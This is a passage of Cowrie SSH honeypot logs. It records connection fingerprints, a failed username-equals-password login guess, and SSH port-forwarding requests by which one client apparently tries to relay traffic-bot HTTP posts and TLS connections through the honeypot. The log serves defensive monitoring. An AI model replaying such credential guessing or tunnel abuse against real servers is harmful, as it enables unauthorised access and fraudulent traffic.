5SJFNAsabp6kj2uJCG9tFWFHeXbPBgU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/16A366 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1154\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=eDlpTnpJZDR0U0dYfl5jUg%3D%3D1o4%2BVunOPlDhVTgY7Vjw8GwawvsncvYpiGtpnHf%2Bd%2FhxH6x5AFykGr7irZI7ynP%2BXCl%2BUGpgyDjh4CbPIKkwwuDDYtQJNYFKIP4ANlam2z6mbummE6tbOVXOXWK4cIlyUtzxLOhRDM1BlDgcWHn1BdHZuwbj7qu4j0tsl4nJ6fFh0q5C6tjDFJS4u5XKwIZd6yeP8znGaKqeZ2LwVhujee4rUk0zKFDSZiulvBJXZrvfSS2Nj%2FROvtHsGrC0bdSlgkUiJwx6GFvffi7zeblnZ%2FjSA8C2EZvMSnQ2IV%2BkCToJW6ypqFjKa5Hdtn0aB0RsAOyLC8QzSV8%2Bjk9yhX7MZ8CK7%2FWi3Y4QPM%2FXK8cLzLHEktAqa2mpkyWkOp4iV9FwjVT%2BDX1Bc9maXcwkfs0hY4GcKR4aaUtjvzuyhMSvTf7IkOIPCkFplBiD%2FGFzv9Fp4cG6%2B5pIPS4Fm8JrDTSS5Nz37h6Vrh05xcON3cuv2CQev6CVph3OWx7jxTynECdalQhqWT4pVCbkGJgp4vQ87QVXog5MgkL8gBwzY9skYUNqfGPTjfcGdyzfjIVP4IJYsixVSRcN%2F3a9bW0Z42jleQSwd3b0S2wXa4yzTDmXeX79WEnPoBFQAODtFW14OsWLUMPdZgWnakZH%2F1USkgFZrnWjJQkHvBetPJ0C5wVK%2Bv7FzCMkWMqeTRX20%2FbUQ0WX%2FHyCqClG9F3cmP8ogjcOZF6J9714H3N%2FCh9Ha5ouw5mWKYVy%2BMfEwCMCn23zZYi8G12yte5B6HmVtq3uPDg3su%2Fq1UkCe%2BwW61nauhrzRqkCaV3qpDzo%2FNIwOL7x88QFBkKwh7gPo4QmuM9im6kPb5ohKE5t7Q4jNQD%2F%2FGyqaqPUH5VNEqAl86wOMKTQWQ5xSWly76dumgvbb%2BatEmUNcFLDnZf88KGZMkP8TF1GTeFDLn5K6sf4agfOdEjSJr6HkQ9EjNnR4kU8fb76N5wto3o1qj20ZprYy3NhKKajqjODsmmI8IxpDXIYkNoTppK7zdS31vXNido85SJFNAsabp6kj2uJCG9tFWFHeXbPBgU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:41.143801Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":48306,"dst_ip":"159.203.135.109","dst_port":22,"session":"b54a0eee63ef","protocol":"ssh","message":"New connection: 2.99.213.222:48306 (159.203.135.109:22) [session: b54a0eee63ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:43.608042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:43.613083Z","src_ip":"2.99.213.222","session":"b54a0eee63ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:43.714706Z","src_ip":"2.99.213.222","session":"b54a0eee63ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":61959,"dst_ip":"10.17.0.5","dst_port":22,"session":"188ac22dc5c6","protocol":"ssh","message":"New connection: 23.175.50.47:61959 (10.17.0.5:22) [session: 188ac22dc5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:43.910901Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:43.916821Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.003393Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"unaih","password":"unaih","message":"login attempt [unaih/unaih] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.151233Z","src_ip":"2.99.213.222","session":"b54a0eee63ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":5554,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fe7f52db065","protocol":"ssh","message":"New connection: 49.247.37.22:5554 (159.203.135.109:22) [session: 9fe7f52db065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.265569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.269625Z","src_ip":"49.247.37.22","session":"9fe7f52db065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.483367Z","src_ip":"49.247.37.22","session":"9fe7f52db065","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.502731Z","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.649209Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xb2j\\xbf\\\\\\x82\\xc5\\t@\\x9b\\xc8\\xf7\\xf9\\xa7\\xe8\\x0br\\xf5Io3\\x8d\\xaf\\xd5b\\xcf\\x05\\n\\xbdcv; \\x06\\xf0!\\xb6Oup\\xd5\\x8ayI\\x91p\\xadfA\\x93\\xfa\\xf8\\x1e\\x99\\xc8\\xe6\\xbf\\xfc\\xfb\\x18\\x19\\xc0k\\xdb@\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14\\xceZ\\xf1&x\\x0bK\\xa1\\x12\\xc0\\xd9\\xbb1\\xfa\\x10\\xcdR\\x1dBd$\\xb2\\xfc\\xeaD\\xc8\\xbf\\xcb\\xe6.\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf8\\xb2j\\xbf\\\\\\x82\\xc5\\t@\\x9b\\xc8\\xf7\\xf9\\xa7\\xe8\\x0br\\xf5Io3\\x8d\\xaf\\xd5b\\xcf\\x05\\n\\xbdcv; \\x06\\xf0!\\xb6Oup\\xd5\\x8ayI\\x91p\\xadfA\\x93\\xfa\\xf8\\x1e\\x99\\xc8\\xe6\\xbf\\xfc\\xfb\\x18\\x19\\xc0k\\xdb@\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x14\\xceZ\\xf1&x\\x0bK\\xa1\\x12\\xc0\\xd9\\xbb1\\xfa\\x10\\xcdR\\x1dBd$\\xb2\\xfc\\xeaD\\xc8\\xbf\\xcb\\xe6.\"\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.652204Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.188.210","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.690016Z","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.754063Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9s1`\\x9d1_\\xb9D\\xff\\xde\\xebK\\x02tq*\\x1eR\\xc4-\\xe8;\\xdfp\\x99[\\x96\\xee\\xcfN\\x07 \\x9e\\xdeY\\xf8\\xc4\\xa9\\xa5\\xf05\\xf9\\x0c\\xf4\\x98\")DH\\x14 X\\xc1p\\xb53\\xe7\\xbd\\x8f(\\n\\xa4;U\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 :]g\\xb5*\\xaa0\\x98\\xce_\\xccf\\xcd\\xfa\\x99\\x1e`f\\xf3\\xf8P\\x19\\xbd\\x1b}_!\\xa3\\xae\\xff\\xaf\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa9s1`\\x9d1_\\xb9D\\xff\\xde\\xebK\\x02tq*\\x1eR\\xc4-\\xe8;\\xdfp\\x99[\\x96\\xee\\xcfN\\x07 \\x9e\\xdeY\\xf8\\xc4\\xa9\\xa5\\xf05\\xf9\\x0c\\xf4\\x98\")DH\\x14 X\\xc1p\\xb53\\xe7\\xbd\\x8f(\\n\\xa4;U\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 :]g\\xb5*\\xaa0\\x98\\xce_\\xccf\\xcd\\xfa\\x99\\x1e`f\\xf3\\xf8P\\x19\\xbd\\x1b}_!\\xa3\\xae\\xff\\xaf\\x1e\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:44.757396Z","src_ip":"173.208.188.210","session":"46bfdb3004cc","protocol":"ssh"}
